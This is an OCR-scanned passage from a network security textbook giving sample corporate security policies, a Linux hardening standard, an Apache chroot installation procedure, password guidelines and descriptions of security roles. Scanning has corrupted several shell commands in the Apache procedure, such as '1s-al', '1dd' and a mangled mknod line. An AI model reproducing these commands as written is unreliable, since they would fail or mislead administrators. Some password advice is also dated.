E-Mail Virus Blocking All known e-mail virus payloads and executable attachments must
be removed automatically at the mail server.

E-Mail Subject Blocking Known e-mail subjects related to viruses must be screened at
the mail server, and messages with these subjects must be blocked at the mail server.

Virus Communications Virus warnings, news, and instructions must be sent periodically
to all users to raise end-user awareness of current virus information and falsehoods.

Virus Detection, Monitoring, and Blocking All critical servers and end-user systems must
be periodically scanned for viruses. The virus scan must identify the following:
® E-mail-based viruses arriving on servers and end-user systems
® Web-based viruses arriving on servers and end-user systems
® E-mail attachments containing suspected virus payloads
Notification must be provided to system administration staff and the intended recipient
when a virus is detected.
All critical servers and end-user systems must be constantly monitored at all times for
virus activity. This monitoring must consist of at least the following categories:
¢ E-mail-based viruses passing through mail servers
® Web-based viruses passing through web servers
® Viruses successfully installed or executed on individual systems
Notification must be provided to system administration staff and the intended recipient
when a virus is detected.
Viruses passing through web proxy servers and e-mail gateways must be blocked in the
following manner:
® F-mail-based viruses passing through mail servers must have the attachment removed
® Web-based viruses passing through web servers must have the attachment removed
® Messages with subject lines known to be associated with viruses must not be passed

through mail servers, and must instead be discarded

Notification must be provided to system administration staff and the intended recipient
when a message or web page containing a suspected virus is blocked.

Back-out Plan A back-out plan is required for all production changes.

Software Testing All software must be tested in a suitable test environment before
installation on production systems.

Division of Environments The division of environments into Development, Test, Staging,
and Production is required for critical systems.

Version Zero Software Version zero software (1.0, 2.0, and so on) must be avoided
whenever possible to avoid undiscovered bugs.
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Backup Testing Backups must be periodically tested to ensure their viability.

Online Backups For critical servers with unique data, online (disk) backups are required,
along with offline (tape) backups.

Onsite Backup Storage Backups are to be stored onsite for one month before being sent
to an offsite facility.

Fireproof Backup Storage Onsite storage of backups must be fireproof.

Offsite Backup Storage Backups older than one month must be sent offsite for permanent
storage.

Quarter-End and Year-End Backups Quarter-end and year-end backups must be done
separately from the normal schedule, for accounting purposes.

Change Control Board A corporate Change Control Board must be established for the
purpose of approving all production changes before they take place.

Minor Changes Support staff may make minor changes without review if there is no risk
of service outage.

Major Changes The Change Control Board must approve major changes to production
systems in advance, because they may carry a risk of service outage.

Vendor-Supplied Application Patches Vendorsupplied patches for applications must be
tested and installed immediately when they are made available.

Vendor-Supplied Operating System Patches Vendor-supplied patches for operating
systems must be tested and installed immediately when they are made available.

Vendor-Supplied Database Patches Vendorsupplied patches for databases must be
tested and installed immediately when they are made available.

Disaster Recovery A comprehensive disaster-recovery plan must be used to ensure
continuity of the corporate business in the event of an outage.

System Redundancy All critical systems must be redundant and have automatic failover
capability.

Network Redundancy All critical networks must be redundant and have automatic

failover capability.

Personnel Management Policies

Personnel management policies describe how people are expected to behave. For each
intended audience (management, system administrators, general employees, and so on),
the policy addresses specific behaviors that are expected by management with respect to
computer technologies and how they are used.
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NOTE Some policies relate to computers and others relate to people. It can be helpful to separate the
two types into different sections, because they may have different audiences. This section includes
policies related to people.

Many of these policies apply to system administrators, who have elevated levels of
privilege that provide fuller access to data and systems than regular employees have. This
presents unique challenges and requirements for maintaining the privacy, integrity, and
availability of systems to which administrators may have full, unrestricted access.

CAUTION Many organizations overlook the special requirements of system administrators in their
security policies. Doing so can leave a large vulnerability unchecked, because system administrators
have extensive privileges that can produce catastrophic consequences if they are misused or if
accidents happen.

Application Monitoring All servers containing applications designated for monitoring
must be constantly monitored during the hours the application operates. At least the
following activities must be monitored:

¢ Application up/down status

® Resource usage

¢ Nonstandard behavior of application

* Addition or change of the version, or application of software patches

* Any other relevant application information

Desktop System Administration No user of a workstation or desktop system may be the
system administrator for their own system. The root or Administrator password may not be
made available to the user.

Intrusion-Detection Monitoring All critical servers must be constantly monitored at all
times for intrusion detection. This monitoring must cover at least the following categories:

® Port scans and attempts to discover active services

¢ Nonstandard application connections

® Nonstandard application behavior

® Multiple applications

® Sequential activation of multiple applications

® Multiple failed system login attempts

¢ Any other relevant intrusion-detection information
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Firewall Monitoring All firewalls must be constantly monitored, 24x7x365, by trained
security analysts. This monitoring must include at least the following activities:

e Penetration detection (on the firewall)

® Attack detection (through the firewall)

® Denial of service detection

* Virus detection

e Attack prediction

¢ Intrusion response

Network Security Monitoring All internal and external networks must be constantly
monitored, 24x7x365, by trained security analysts. This monitoring must detect at least the
following activities:

¢ Unauthorized access attempts on firewalls, systems, and network devices

¢ Port scanning

¢ System intrusion originating from a protected system behind a firewall

¢ System intrusion originating from outside the firewall

® Network intrusion

¢ Unauthorized modem dial-in usage

¢ Unauthorized modem dial-out usage

¢ Denial of services

e Correlation between events on the internal network and the Internet

* Any other relevant security events

System Administrator Authorization System administration staff may examine user
files, data, and e-mail when required to troubleshoot or solve problems. No private data
may be disclosed to any other parties, and if any private passwords are thus identified, this
must be disclosed to the account owner so they can be changed immediately.

System Administrator Account Monitoring All system administration accounts on
critical servers must be constantly monitored at all times. At least the following categories of
activities must be monitored:

¢ System administrator account login and logout

¢ Duration of login session

¢ Commands executed during login session

¢ Multiple simultaneous login sessions

® Multiple sequential login sessions

¢ Any other relevant account information
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System Administrator Authentication Two-factor token or biometric authentication is
required for all system administrator account access to critical servers.

System Administrator Account Login System administration staff must use accounts
that are traceable to a single individual. Access to privileged system commands must be
provided as follows:

® On Unix systems Initial login must be from a standard user account, and root
access must be gained via the su command.

* On Windows systems System administration must be done from a standard user
account that has been set up with Administrator privileges.

Direct login to the root or Administrator account is prohibited.

System Administrator Disk-Space Usage Monitoring System administration staff may
examine user files, data, and e-mail when required to identify disk-space usage for the
purposes of disk usage control and storage capacity enhancement and planning.

System Administrator Appropriate Use Monitoring System administration staff may
examine user files, data, and e-mail when required to investigate appropriate use.

Remote Virus-Signature Management All virus software must be set up to support
secure remote virus-signature updates, either automatically or manually, to expedite the
process of signature file updating and to ensure that the latest signature files are installed
on all systems.

Remote Server Security Management All critical servers must be set up to support
secure remote management from a location different from where the server resides. Log
files and other monitored data must be sent to a secure remote system that has been
hardened against attack, to reduce the probability of log file tampering.

Remote Network Security Monitoring All network devices must be set up to support
security management from a location different from where the network equipment resides.
Log files and other monitored data must be sent to a secure remote system that has been
hardened against attack, to reduce the probability of log file tampering.

Remote Firewall Management All firewalls must be set up to support secure remote
management from a location different from where the firewall resides. Log files and other
monitored data must be sent to a secure remote system that has been hardened against
attack, to reduce the probability of log file tampering.

Security Management Policies

Managers have responsibilities for security just as employees do. Detailing expectations for
managers is crucial to ensure compliance with senior management’s expectations.

Employee Nondisclosure Agreements All employees must sign a nondisclosure
agreement that specifies the types of information they are prohibited from revealing
outside the organization. The agreement must be signed before the employee is allowed
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to handle any private information belonging to the organization. Employees must be
made aware of the consequences of violating the agreement, and signing the agreement
must be a condition of employment, such that the organization may not employ anyone
who fails to sign the agreement.

Nondisclosure Agreements All business partners wishing to do business with the
organization must sign a nondisclosure agreement that specifies the types of information
they are prohibited from revealing outside the organization. The agreement must be signed
before the business partner is allowed to view, copy, or handle any private information
belonging to the organization.

System Activity Monitoring All internal information system servers must be constantly
monitored, 24x7x365, by trained security analysts. At least the following activities must
be monitored:

¢ Unauthorized access attempts

® Root or Administrator account usage

¢ Nonstandard behavior of services

¢ Addition of modems and peripherals to systems

¢ Any other relevant security events

Software Installation Monitoring All software installed on all servers and end-user
systems must be inventoried periodically. The inventory must contain the following
information:

¢ The name of each software package installed on each system

® The software version

® The licensing status

System Vulnerability Scanning All servers and end-user systems must be periodically
scanned for known vulnerabilities. The vulnerability scan must identify the following:

® Services and applications running on the system that could be exploited to
compromise security
¢ File permissions that could grant unauthorized access to files

® Weak passwords that could be easily guessed by people or software

Security Document Lifecycle All security documents, including the corporate security
policy, must be regularly updated and changed as necessary to keep up with changes in the
infrastructure and in the industry.

Security Audits Periodic security audits must be performed to compare existing practices
against the security policy.
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Penetration Testing Penetration testing must be performed on a regular basis to test the
effectiveness of information system security.

Security Drills Regular “fire drills” (simulated security breaches, without advance warning)
must take place to test the effectiveness of security measures.

Extranet Connection Approval All extranet connections require management approval
before implementation.

Non-Employee Access to Corporate Information Non-employees (such as spouses) are
not allowed to access the organization’s information resources.

New Employee Access Approval Manager approval is required for new employee access
requests.

Employee Access Change Approval Manager approval is required for employee access
change requests.

Contractor Access Approval Manager approval is required for contractor access requests.

Employee Responsibilities The following categories of responsibilities are defined for
corporate employees. These categories consist of groupings of responsibilities that require
differing levels of access to computer systems and networks. They are used to limit access to
computers and networks based on job requirements, to implement the principles of least
privilege and separation of duties.

® General User

® Operator

® System Administrator

® Customer Support Staff
e Customer Engineer

® Management

Security Personnel Responsibilities The following categories of responsibilities are
defined for security personnel. These categories consist of groupings of responsibilities
within the security organization that require differing levels of access to security information
and systems based on job function, in order to implement the principles of least privilege
and separation of duties.

® Security Architect

® Facility Security Officer

® Security Manager

® Technical Security Administrator
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Employee Responsibility for Security All corporate employees are responsible for the
security of the computer systems they use and the physical environment around them.

Sensitive HR Information Sensitive HR information (such as salaries and employee records)
must be separated and protected from the rest of the corporate network.

Security Policy Enforcement Enforcement of this corporate security policy is the
responsibility of the corporate Human Resources department.

HR New Hire Reporting HR must report required information about new hires to system
administrators one week in advance of the new employee’s start date.

HR Termination Reporting HR must report required information about terminations to
system administrators one week before the termination date, if possible, and no later than
the day of termination.

Contractor Information Reporting HR is responsible for managing contractor information
and providing this information to system administrators.

Background Checks HR must perform background checks on new employee applicants.

Reference Checks HR must perform reference checks on new employee applicants.

Physical Security Policies

In the context of computer systems, physical security policies describe how computer hardware
and direct access is managed. Because the computer systems reside in a building, and that
building may be used for other purposes as well, there may be some overlap and potential
conflicts of interest with the other purposes of the building. These must be addressed and
resolved in order to properly protect the computers and the people who use them.

CAUTION Physical security is often the responsibility of a department other than Information
Technologies (often Facilities, for example). However, many of the requirements for physical network
security overlap with the general requirements for corporate physical security. An effective physical
network security policy is developed in tandem with the organization responsible for general
physical security.

Building and Campus Security

Building and campus security policies describe what people are expected to do on the
organization’s property. These are physical security policies, and they often fall outside the
domain of information technology.

Room Access Based on Job Function Room access must be restricted based on employee
job function.
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Physical Security for Laptops All laptops must be locked to a sturdy fixture using a cable
when not in transit.

Position of Computer Monitors Computer monitors must be faced away from windows
to discourage “eavesdropping.”

Badges on the Organization’s Premises All corporate employees on the production
premises must display badges with picture identification in plain view.

Temporary Badges Temporary badges may be provided to employees who have lost or
forgotten their badges.

Guards for Private Areas Guards or receptionists must be located in areas containing
sensitive information.

Badge Checking Guards or receptionists must ask to see badges for all people attempting
to access the building.

Tailgating Tuilgating or piggybacking (following a person into a building) is prohibited,
and allowing any person to tailgate or piggyback is prohibited.

Employee Responsibility for Security Employees are responsible for the security of the
servers at all facilities, and for the actions of their coworkers.

Security Policy Enforcement Enforcement of this physical security policy is the
responsibility of HR.

Data Center Security

Data center policies describe how computer equipment and data is protected in the
physical facilities in which the computer and network equipment resides. This protection
is very important, because unauthorized physical access can be the most direct route to
compromising a computer system.

Physical Security for Critical Systems All critical equipment must be kept in locked
rooms.

Security Zones Within the production equipment area of the production facility,
equipment is separated into two physical spaces with differing access requirements:

e Standard General production servers with standard sensitivity

e Highly secure Production servers with higher security requirements

Non-Employee Access to Corporate Systems Non-employees (such as contractors) are
not allowed physical access to the organization’s information resources.

www.it-ebooks.info


http://www.it-ebooks.info/

140

PART | Foundations

Asset Tags All equipment in the production facility must carry an asset tag bearing a
unique identifier.

Equipment Entrance Pass All equipment entering the production facility must be recorded
in a log that contains at least the following information:

¢ Employee name

® Date and time

¢ Type of equipment

* Asset tag

® Corporate employee signature

* Production employee signature

Equipment Exit Pass All equipment leaving the production facility must be recorded in
a log that contains at least the following information:

¢ Employee name

® Date and time

¢ Type of equipment

* Asset tag

¢ Corporate employee signature

¢ Production employee signature

Access Authorization Employees must be authorized in advance by a corporate manager
of director-level or higher status before attempting to gain access to the production
equipment facility. In general, this authorization must come from the Director of
Operations or their designated backup.

Access from Inside Employees already inside the production equipment area may not
open the door to allow access to anyone else from outside the area. This access must be
provided through the production staff escort.

Employee Access Lifetime Access accounts for all employees will remain valid for a period
of 12 months, unless otherwise requested by the employee’s manager. The maximum limit on
the requested lifetime of the account is 24 months. After the lifetime of the account has
expired, it can be reactivated for the same length of time upon presentation of both proof of
identity and management approval for reactivation.

Inactive Access Badges Access accounts that have not been used for a period of 90 days
will be automatically disabled, to reduce the risk of unused accounts being exploited by
unauthorized parties. Any legitimate user whose account has been disabled in this manner
may have it reactivated by providing both proof of identity and management approval for
reactivation.
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New Access Requests The manager responsible for a new employee or an employee
who has not previously had access must request access to the production facility for that
employee. Employees may not request their own accounts. The new access request must be
recorded and logged for the record. When the access is no longer needed, the account
must be disabled.

Production Staff Access Production staff may only enter the secure area when explicitly
requested by a corporate employee, and only after confirming the request with the designated
corporate director-level contact.

Access Monitoring All access to the production facility must be constantly monitored
during all hours of the day, 24x7x365. This monitoring must consist of at least the following:

e (Camera recording of the production area
® Video screen monitoring by production staff

* Video tape recording

Access via Secure Area Access to the highly secure area is provided via the secure area.
Thus, all security requirements pertaining to the secure area are prerequisites for access to
the highly secure area.

Buddy System A minimum of two employees is required for access to the highly secure
production equipment facility. Unaccompanied access to the highly secure production
facility is prohibited.

Three-Badge Access Requirement Access to the highly secure equipment room from
the outside requires both a corporate employee and a production facility employee. Once
access is granted, the corporate employees may remain in the production room without
production employee escort.

Biometric Authentication All employees requiring access to the highly secure facility
must be authenticated via a biometric device that uniquely identifies the individual based
on some personal biological characteristic.

Production Staff Access Production staff may not enter the highly secure area under any
circumstances.

Room Access Based on Job Function Room access to the secure and the highly secure
areas must be restricted based on employee job function.

Health and Safety

The health and safety of people is of paramount importance. There is no higher priority
for any organization. All other policies are secondary and must not infringe on the safety
of individuals during a crisis or during normal operations. Policies designed to protect
the lives of people vary widely—a few are listed here as examples, but these are unique to
each situation.
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Search of Personal Property The production facility must examine any bags or personal
carrying items larger than a purse or handbag.

Tailgating  Tuilgating or piggybacking (following a person into a building) is prohibited,
and allowing any person to tailgate or piggyback is prohibited.

Security Drills Regular security drills (simulated security breaches without advance
warning) must take place to test the effectiveness of security measures. These drills can take
the form of unauthorized access attempts, equipment entrance or removal, or any other
appropriate test of production facility security measures.

Security Standards

A standard is somewhat more detailed than a policy. Standards describe how to comply with
the policy, and because they are associated with policies, they should be considered mandatory.
Standards are the extension of the policy into the real world—they specify technology settings,
platforms, or behaviors. Security managers responsible for IT infrastructure will usually spend
more time writing standards than they spend on policy.

Much of the information contained in Chapter 21 and 22 of this book pertains to settings
for Unix and Windows systems. Those settings would typically be the level of detail that is
included in standards. Compare the information in those chapters against the set of policy
statements listed in the previous section of this chapter. You'll see that policy statements are
simple, direct, and somewhat general. Standards interpret the policy to the level of specifics
needed by a subject matter expert.

Security Standard Example

The following is a sample of a security standard. This is part of a standard for securing
Linux servers. It is intended to establish a baseline set of configurations that would establish
common settings across all Linux platforms on the network. Notice that the level of detail is
very deep—only an experienced system administrator would be able to understand some of
these instructions. That is typical of a standard, as opposed to a policy, which everyone should
be able to understand regardless of their level of expertise.

1. PURPOSE

1.1. The purpose of this standard is to define the software and hardware
configurations required to secure Linux servers. It defines security settings for
operating system and software that are required by policy.

2. SCOPE

2.1.  This standard is to be used by system administrators responsible for
administration of computers using the Red Hat Enterprise Linux operating system.

3. RESPONSIBILITIES
3.1. The Security Manager is responsible for defining this standard.

3.2. The Server team is responsible for following this standard.
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4. STANDARD

4.1.

4.2.

4.3.

4.4.

4.5.

SERVICES

4.1.1. Specific services that are required for general operation of the systems
and resident vendor applications services are to be reviewed for security risks
and approved by the Security Manager.

4.1.2. Services that are not needed are to be disabled during boot.
INITIAL PASSWORD AND LOGIN SETTINGS

4.2.1.  All accounts for system administrators are to be added as local
accounts in the /etc/passwd and /etc/shadow files. NIS is not to be used for
password verification.

4.2.2. Privileged user accounts require IT system operations and
applications manager approval before being placed on system.

4.2.3. No developer accounts are allowed on production servers.

4.2.4. All administration user accounts are to be set with 90 day password
aging, 7 day notification of password expiration, and 7 day password minimum.

4.2.5. All root and application administrator accounts are to be reviewed
and will have a scheduled password change by operations administrators once
every 90 days.

4.2.6. The default login setting is to be set to lock out the session after 3
failed password login attempts.

4.2.7. Default password settings must enforce a minimum of 8 characters.

4.2.8. The ability to log in directly over the network to the root account
must be disabled.

SENDMAIL

4.3.1. The sendmail service is to be disabled on all non-mail servers unless
required by an application running on the system. Applications requiring
Sendmail services must first be approved by IT system operations manager.

BANNER/NOTICE

4.4.1. Configure the login banner with the standard warning notice.
LOGGING

4.5.1. Turn on logging for Internet standard services.

4.5.2. Turn on logging for LOG_AUTHPRIV facility.

4.5.3. Log connection tracing to inetd/xinetd and messages sent to AUTH
facility.

4.5.4. Setlogging for sudo activities.

4.5.5. Send all kernel authorization, debug, and daemon notices to a syslog
server for monitoring, reviewing, and archiving.
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Security Procedures

Procedures are step-by-step instructions to perform a specific task.

Security Procedure Example

In this example, notice that the level of detail is more specific than that found in both
policies and standards. The procedure is a set of instructions that a system administrator
would perform when sitting at the keyboard of the computer being built. Most people will
not understand this information—it is very specialized, and intended only for someone who
is a system administrator. The type of specialized information found in a security procedure
is usually very job-specific.

1. PURPOSE

1.1.  This procedure is intended for the security installation of Apache web servers.
It defines the steps necessary to ensure a secure installation that complies with
security policy.

. SCOPE

2.1.  This procedure is to be used by system administrators responsible for installing
the Apache HTTP server.

. RESPONSIBILITIES

3.1. The Security Manager is responsible for defining this procedure.

3.2.  Any system administrator installing Apache HTTP server on the network is
responsible for following this procedure.

4. APACHE WEB SERVER SECURITY PROCEDURE

4.1. Compile and install the server software as follows:

4.1.1. ./configure —prefix=/usr/local/apache —disable-module=all -server-
uid=apache -server-gid=apache —enable-module=access —enable-module=log_
config —enable-module=dir —enable-module=mime —enable-module=auth

4.1.2. make

4.1.3. su

4.1.4. umask 022

4.1.5. make install

4.1.6. chown -R root:sys /usr/local/apache

4.2. The next step is to limit Apache processes’ access to the filesystems. Start this
process by creating a new root directory structure under the /chroot/httpd directory:

4.2.1. mkdir -p /chroot/httpd/dev
4.2.2. mkdir -p /chroot/httpd/etc
4.2.3. mkdir -p /chroot/httpd/var/run
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4.2.4. mkdir -p /chroot/httpd/usr/lib
4.2.5. mkdir -p /chroot/httpd/usr/libexec
4.2.6. mkdir -p /chroot/httpd/usr/local/apache/bin
4.2.7. mkdir -p /chroot/httpd/usr/local/apache/logs
4.2.8. mkdir -p /chroot/httpd/usr/local/apache/conf
4.2.9. mkdir -p /chroot/httpd/www

4.3. Next, create the special device file: /dev/null:
4.3.1. 1s-al /dev/null
4.3.2. crw-rw-rw- 1 root wheel 2, 2 Mar 14 12:53 /dev/null
4.3.3. mknod /chroot/httpd/dev/null ¢ 2 2
4.3.4. chown root:sys /chroot/httpd/dev/null
4.3.5. chmod 666 /chroot/httpd/dev/null

4.4. Add the following line to the /etc/rc.conf file:
4.4.1. syslogd_flags=“-1 /chroot/httpd/dev/log”

4.5. Restart the system.

4.6. Copy the main httpd program into the new directory tree with all necessary
binaries and libraries, as follows:

4.6.1. localhost#1dd /usr/local/apache/bin/httpd
4.7. Copy the files to the new root directory structure:
4.7.1. cp /usr/local/apache/bin/httpd /chroot/httpd/usr/local/apache/
bin/
4.7.2. cp /var/run/ld-elf.so.hints /chroot/httpd/var/run/
4.7.3. cp /usr/lib/liberypt.so.2 /chroot/httpd/usr/lib/
4.7.4. cp /usr/lib/libc.so.4 /chroot/httpd/usr/lib/
4.7.5. cp /usr/libexec/ld-elf.s0.1 /chroot/httpd/usr/libexec/

Security Guidelines

Gauidelines give advice. They are not mandatory—they are just suggestions on how to follow
the policy. Guidelines are meant to make life easier for the end user, as well as for the
security manager who wrote the policy, because they help people understand how to meet
the goals set by the security policy.

Security Guideline Example

In this example, the password complexity rules of the password policy are translated into a set
of easy-to-follow suggestions. There may be other ways to select a password to be compliant
with the policy, but these guidelines are intended to simplify the process for the end users
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while at the same time allowing them to make strong passwords. Notice that unlike standards
and procedures, the material is easy for everyone to read and understand.
1. PURPOSE

1.1. These guidelines are meant to give you some ideas about how to create a
good password. Our password policy requires a certain amount of complexity,
which can result in difficult-to-remember passwords, but these guidelines should
help you comply with our password policy while at the same time making it easier
for you to choose a memorable password.

2. SCOPE

2.1. These guidelines are for all people who have computer accounts on our
network.

3. RESPONSIBILITIES

3.1. The Security Manager is responsible for defining, maintaining, and publishing
these guidelines.

4. PASSWORD SELECTION GUIDELINES
4.1. Do:

4.1.1.  Use as many different characters as possible including numbers,
punctuation characters, and mixed upper- and lowercase letters. Choosing
characters from the largest possible range will make your password more
secure.

4.1.2.  Use both upper- and lowercase letters.
4.1.3. Use at least one number and one punctuation mark.

4.1.4. Select passwords that are easy to remember, so they do not have to be
written down.

4.2. Don’t use any of the following easily guessed items in your password:

4.2.1.  Your name, the names of any family or friends, names of fictional
characters

4.2.2.  Phone number, license or social security numbers
4.2.3. Any date
4.2.4. Any word in the dictionary
4.2.5. Passwords of all the same letter or any variation on the word “password”
4.2.6. Simple patterns on the keyboard, like qwerty
4.2.7. Any word spelled backwards
4.3. Suggestions:

4.3.1.  Use the first one or two letters of each word in a phrase, song, or
poem you can easily remember. Add a punctuation mark and a number.

4.3.2.  Or, use intentionally misspelled words with a number or punctuation
mark in the middle.
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4.3.3. You can also alternate between one consonant and one or two vowels,
and include a number and a punctuation mark. This provides a pronounceable
nonsense word that you can remember.

4.3.4. Oryou can choose two short words and concatenate them together
with a punctuation character between them,

4.3.5. Or, interlace two words or a word and a number (like a year) by
alternating characters.

Ongoing Maintenance

The security policies, standards, procedures, and guidelines are living documents. That
means they are not written once and left unchanged for years. These documents should be
regularly updated in response to changing business conditions, technologies, customer
requirements, and so on. Some form of document version control technology may be helpful
in managing this lifecycle process.

In order to communicate the security documents, it is best to keep them online or in a
place where the various audiences will be able to review and understand changes as they are
approved and implemented. Some organizations use an intranet web site to present their
security documents, so employees can easily reference them throughout the workday.

Once the security policies, standards, procedures, and guidelines are in place, well
established, and in a position to dictate daily operations, an audit may be performed by
outside agencies or internal departments. An audit compares existing practices to the
intentions of the policy. Having an unbiased third-party perspective can be helpful in
isolating weaknesses or problems with the policy and its enforcement—this requires a
disinterested party (not the security organization or the IT department) to perform the
audit. Audits can be performed as often as needed—monthly, quarterly, yearly, or at some
other interval. Security policy compliance should be audited at least once a year, because
longer periods may allow for substantial deviation between the policy and the operations.

Summary

This chapter is about how to develop security policies and their associated standards,
procedures, and guidelines to help people comply. A security policy forms the foundation
for a productive security program. It is a statement about how to protect an organization.
It describes an organization’s security controls, without specifying technologies, providing
guidance to the people building, installing, and maintaining computer systems so that
they don’t have to make decisions by themselves that may conflict with the intentions of
the organization’s senior management. Security policies should tell their audience what
must be done, not how these things should be done. A security policy specifies what should
be done, not how; nor does it specify technologies or specific solutions.

A security policy should be in written form. It provides instructions to employees about
what kinds of behavior or resource usage are required and acceptable, and about what is
forbidden and unacceptable. A good security policy forms the core of a comprehensive
security effort, and it is rarely just the responsibility of Information Technology departments.
Every department that has a stake in the security policy should be involved in its development.
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The approach to security policy development provided in this chapter directs the
reader to understand the regulatory and business requirements first, select an appropriate
framework or approach, and follow a phased approach to security policy development.
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CHAPTER

Security Organization

Information security is no longer simply about patch management and firewalls. It requires
a holistic risk management approach. As organizations increasingly rely on global networks
for supply chain and communications, and amass distributed data in terabyte amounts, it
has become apparent that the old models for computer security are no longer effective.
The exploitation points have correspondingly increased exponentially. The old model of
hiring a couple of security analysts or engineers and throwing them into the Information
Technology department is no longer sufficient to address the growing needs of data and
communications protection. Security can no longer be left in the hands of the technologists.
It must be acknowledged, considered, embraced, and championed at the highest levels of
the organization. In other words, it must be aligned to the business objectives of the
organization to maintain or improve its value.

What is now required is a risk management approach to security that addresses the
organization as a whole. Risk management cannot be conducted in a silo. It requires a
coordinated and collaborative approach throughout the organization and must be lifecycle
oriented. It is not enough to form a “security department” by putting somebody in charge,
hiring a few security technologists, and calling it a day. Security risk management must now
evolve into a highly defined, quantifiable, justifiable approach to securing the organization’s
assets and reputation against loss. That “ultimate responsibility” lands on the shoulders of
top executives.

So why the change? Now that the Information Age has permeated all aspects of the
business world, the business environment and the information that drives it have become
increasingly dynamic. The information landscape changes daily, and organizations need to
adapt to that change to protect their assets—in other words, manage their risk.

Roles and Responsibilities

At the executive level, there must be overall and/or ultimate responsibility (or accountability,
if you prefer) for risk management. The size of the risk management organization headed by
that executive will vary based on the size of the business. Large organizations may have all the
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roles that are defined in this chapter, whereas smaller organizations may employ a security
organization that consists of a few individuals (who may also share other responsibilities, as
long as those responsibilities don’t conflict with their security roles). Midsize organizations
need several security positions ranging from the technical security administrators who
configure firewalls, routers, antivirus software, and the like, to security engineers who design
security controls, managed by a security manager, director, or senior executive. Large
organizations need a complete security organization. All organizations, large or small, need
an executive decision maker who has been designated as being responsible for security risk.

In addition, the distinctions between large and small organizations and what security
positions they require vary according to what the organization does. Financial companies
typically require a larger and more robust security organization due to the capital financial
risk involved in an event or incident that negatively impacts their integrity, confidentiality,
and availability. Healthcare organizations, along with businesses in other highly regulated
sectors such as publicly traded companies that must comply with Sarbanes-Oxley rules, and
financial companies that are regulated by the Gramm-Leach-Bliley Act, also require a
substantial security organization. Technology companies may require a midsize or smaller
security organization, depending on how exposed they are to threats, vulnerabilities, and
risks from an attack and how much their security posture is improved by aligning security to
business objectives. Every organization is different.

Oracle’s Chief Security Officer: A Case Study
As Oracle’s Chief Security Officer (CSO), Mary Ann Davidson has responsibility for
product security as well as security policies, the security of infrastructure, security
evaluations and assessments, and incident handling. Oracle was one of the first
companies to establish a CSO position, along with a Chief Privacy Officer (CPO).
While their offices operate independently, these senior executives coordinate their
efforts on security and privacy issues.

Davidson maintains that software manufacturers should design and build their
applications securely. To do this, she proposes the following:

* Develop a core group of security experts to inject security into application
design

¢ Centralize common security functions to work together

® Develop secure coding practices to avoid common vulnerabilities

® Conduct regression testing to ensure that new versions of software don’t
invalidate previous security controls

e Submit to independent product assessments and security evaluations such as
the Common Ciriteria testing program sponsored by the National Institute of
Standards (NIST) and the National Security Agency (NSA)

The ability to influence corporate culture at this level demonstrates the effectiveness
and value of an officer-level security position.
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Security Positions

The following positions are recommended for security organizations. Other positions also
exist outside the formal security organization, because everyone in the business has some
level of responsibility for security. For example, every employee is responsible for protecting
their passwords, their login sessions, and any confidential information they handle. General
managers, department heads, and operational leads are responsible for being familiar with
security policy and keeping an eye on the security practices of their subordinates. They are
responsible for ensuring that violations are reported, and may carry out enforcement policies.

Figure 6-1 shows an example security responsibility hierarchy, with some descriptions of
responsibilities that might pertain to each position.

Chief Security Risk Officer (CSRO)
or Chief Information Security Officer (CISO)
This position is an executive staff member, with ultimate accountability for all security
efforts for the business. The CSRO oversees all aspects of risk management across the
enterprise, or in organizations without a formal risk management department, the CISO
oversees the information security function and incorporates risk management into that
function. In organizations where the CSRO is responsible for all types of risks across the
business (including financial risks, business risks, and other non-IT risks), the person in
that role will generally establish an IT risk function to oversee IT-related risks in particular,
since the management of IT risks represents a unique discipline requiring specialized
knowledge. Otherwise, the CISO performs that role. The CSRO or CISO should report to
the chief executive officer (CEO), chief operating officer (COO), or the Board of
Directors. While some organizations may consider it controversial to elevate the position to
equal par with chief executives, the criticality of addressing corporate risk and legal
compliance justifies the decision. The CSRO or CISO is a champion and defender of
security and risk initiatives for the business, bearing overall responsibility for risk assessment
and risk management. The CRSO or CISO may hold certifications related to information
security, audit, risk management, and disaster recovery.

In collaboration with the executive staff, the CSRO or CISO should:

¢ Ensure the business has risk management skills in its human capital

e Establish an organizational structure that supports a risk management strategy

¢ Implement an integrated risk management framework

® Define the business’ risk appetite in terms of loss tolerance

e Ensure the business can absorb the risk in terms of human and financial resources
¢ Establish risk assessment, management, response, mitigation, and audit procedures

® Influence the business’ risk culture and provide organizational learning opportunities

Security Director

The security director works with the executive team to accomplish business goals. This
position requires expert communication, negotiation, and leadership skills, as well as
technical knowledge of IT and security hardware. While a person who has experience as a
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vice president may already possess these skills, the focus of the security director should be
security-oriented and they should be experienced in information security decision making.
The security director has responsibility to oversee and coordinate security efforts across the
business, including IT, HR, Communications, Legal, Facilities, and other departments, to
identify needed security initiatives and standards.

The security director, among other responsibilities:

® Coordinates the security-related strategic and visionary goals of the business

® Oversees security management and vendors who safeguard the business’ assets,
intellectual property, and computer systems, as well as the physical safety of
employees and visitors

¢ Identifies protection goals and objectives consistent with corporate strategic plans

® Manages the development and implementation of global security policy (rules),
standards (minimum requirements), guidelines (recommendations), and
procedures (step-by-step instructions) to ensure ongoing maintenance of security

® Maintains relationships with local, state, and federal law enforcement and other
related government agencies

® Opversees the investigation of security breaches and assists with disciplinary and legal
matters associated with such breaches as necessary

e Works with outside consultants as appropriate for independent security audits

* Participates in the business’ change management process at the organizational and
strategic level

e Is fluent with the various aspects of the risk management framework

Security Manager

The security manager has day-to-day responsibility for all security-related activities and
incidents. All operational security positions report to this position. The security manager is
responsible for management and distribution of the security policy, policy adherence and
coordination, and security incident coordination.

The security manager also assigns and determines ownership of data and information
systems. In addition, this person also ensures that audits take place to determine
compliance with policy. The security manager also makes sure that all levels of management
and administrative and technical staff participate during planning, development, and
implementation of policies and procedures.

Many of the security manager’s functions can be delegated, depending on the staffing
requirements and individual skill sets of the security organization. However, the security
manager bears accountability for ensuring that these functions take place effectively.

Certifications that a security manager may hold include Information Assurance Manager
(IAM) or equivalent and Certified Information Security Manager (CISM) from ISACA.

In addition to other roles, the security manager:

® Develops and maintains a comprehensive security program

® Develops and maintains a business resumption plan for information resources
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® Approves access and formally assigns custody of the information resources
¢ Ensures compliance with security controls
¢ Plans for contingencies and disaster recovery

¢ Ensures that adequate technical support is provided to define and select cost-
effective security controls

Security Architect
This person has ultimate responsibility for the security architecture, including conducting
product testing and keeping track of new bugs and security vulnerabilities as they arise.
The security architect produces a detailed security architecture for the network based on
identified requirements and uses this architecture specification to drive efforts toward
implementation.

In addition to other roles, the security architect:

e Identifies threats and vulnerabilities

